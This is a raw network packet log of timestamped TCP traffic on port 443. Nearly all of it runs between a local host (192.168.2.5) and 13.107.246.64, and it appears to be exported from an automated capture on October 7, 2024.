Oct 7, 2024 21:53:19.093801022 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.093869925 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.094228029 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.094440937 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.094445944 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.094475985 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.094480038 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.094901085 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.094933987 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.095012903 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.095529079 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.095547915 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.096673012 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.096702099 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.096894026 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.097069979 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.097084045 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.709882021 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.710455894 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.710477114 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.710938931 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.710944891 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.713916063 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.714224100 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.714242935 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.714597940 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.714606047 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.728349924 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.728714943 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.728730917 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.729115009 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.729120970 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.730230093 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.730525970 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.730535030 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.730595112 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.730911016 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.730916023 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.731405020 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.731412888 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.731430054 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.731435061 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.808866978 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.808964968 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.809132099 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.809175014 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.809191942 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.809201956 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.809206963 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.811074972 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.811300039 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.811451912 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.811497927 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.811511040 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.811536074 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.811542988 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.812233925 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.812253952 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.812355995 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.812516928 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.812530994 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.813584089 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.813591957 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.813695908 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.813807011 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.813817978 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.823923111 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.824079990 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.824153900 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.824182034 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.824192047 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.824206114 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.824210882 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.826141119 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.826165915 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.826594114 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.826594114 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.826625109 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.827944040 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.828023911 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.828229904 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.828349113 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.828349113 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.828357935 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.828365088 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.830332994 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.830351114 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.830404997 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.830559969 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.830578089 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.832068920 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.832149029 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.832220078 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.832323074 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.832323074 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.832329035 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.832335949 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.834153891 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.834182978 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.834444046 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.834599972 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.834614038 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.871428013 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:19.871512890 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:19.871602058 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:20.453022957 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.453818083 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.453850031 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.454278946 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.454282999 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.468053102 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.468686104 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.468693972 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.469108105 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.469111919 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.470526934 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.470961094 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.470978975 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.471415043 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.471420050 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.471503973 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.471765041 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.471786976 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.472153902 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.472162008 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.473328114 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.473639011 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.473653078 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.474009037 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.474014997 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.563569069 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.563642025 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.563846111 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.563960075 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.563977957 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.563988924 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.563994884 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566498041 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566576958 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566692114 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.566745043 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.566767931 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566906929 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.566906929 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.566932917 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566942930 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.566961050 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.567147970 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.567157984 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.567888021 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568048954 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568098068 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.568172932 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.568181038 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568190098 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.568193913 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568224907 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568372011 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.568423986 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.568789959 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.568795919 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.569744110 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.569765091 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.570041895 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.570471048 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.570471048 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.570483923 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.570511103 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.570545912 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.570643902 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.570660114 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.571728945 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.571739912 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.571916103 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.572037935 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.572048903 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.572531939 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.572606087 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.572658062 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.572767019 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.572772980 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.572781086 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.572784901 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.574618101 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.574635983 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:20.574707985 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.574814081 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:20.574820042 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.175065041 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:21.175091982 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:21.184451103 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.184961081 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.184978962 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.185180902 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.185373068 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.185379982 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.185689926 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.185698986 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.185956001 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.186110020 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.186115026 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.186347008 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.186368942 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.186795950 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.186819077 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.449693918 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.449765921 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.449821949 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.450016975 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.450037003 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.450052977 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.450062990 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.450069904 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.450175047 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.450227976 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.451565981 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.451582909 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.451596022 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.451602936 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.453723907 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.453751087 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.453794003 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.453843117 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.453999996 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.454015970 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.454410076 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.454432964 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.454909086 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.454916954 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.456118107 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.456155062 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.456248999 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.456433058 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.456449032 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.458142042 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.458600998 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.458611012 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.458951950 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.458959103 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.537223101 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.537250042 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.537305117 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.537326097 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.537440062 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.537709951 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.537738085 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.542071104 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.542104006 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.542263985 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.542565107 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.542578936 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555505991 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555531979 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555593967 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555649996 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555685997 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555789948 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555896044 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555916071 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555932045 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555938959 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555954933 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555954933 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.555964947 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.555973053 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.560476065 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560486078 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.560518980 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560544968 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.560547113 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560586929 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560903072 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560916901 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:21.560937881 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:21.560950041 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.074794054 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.075333118 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.075349092 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.075764894 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.075769901 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.168318987 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.168797016 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.168817043 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.169244051 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.169246912 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.172641993 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.172925949 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.172955990 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.173058033 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.173110008 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173110008 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173158884 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173177958 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173177958 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173178911 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.173202038 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.173212051 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.173742056 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.173747063 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.176120043 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.176167965 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.176356077 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.176491022 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.176508904 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.187131882 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.188069105 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.188069105 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.188082933 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.188101053 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266376972 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266393900 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266472101 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.266483068 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266724110 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.266724110 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.266738892 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266880035 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.266910076 CEST	443	49893	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.267071962 CEST	49893	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.269435883 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.269469976 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.269561052 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.269705057 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.269718885 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.271253109 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.271464109 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.271517038 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.271554947 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.271554947 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.271581888 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.271598101 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.273649931 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.273658037 CEST	443	49898	13.107.246.64	192.168.2.5
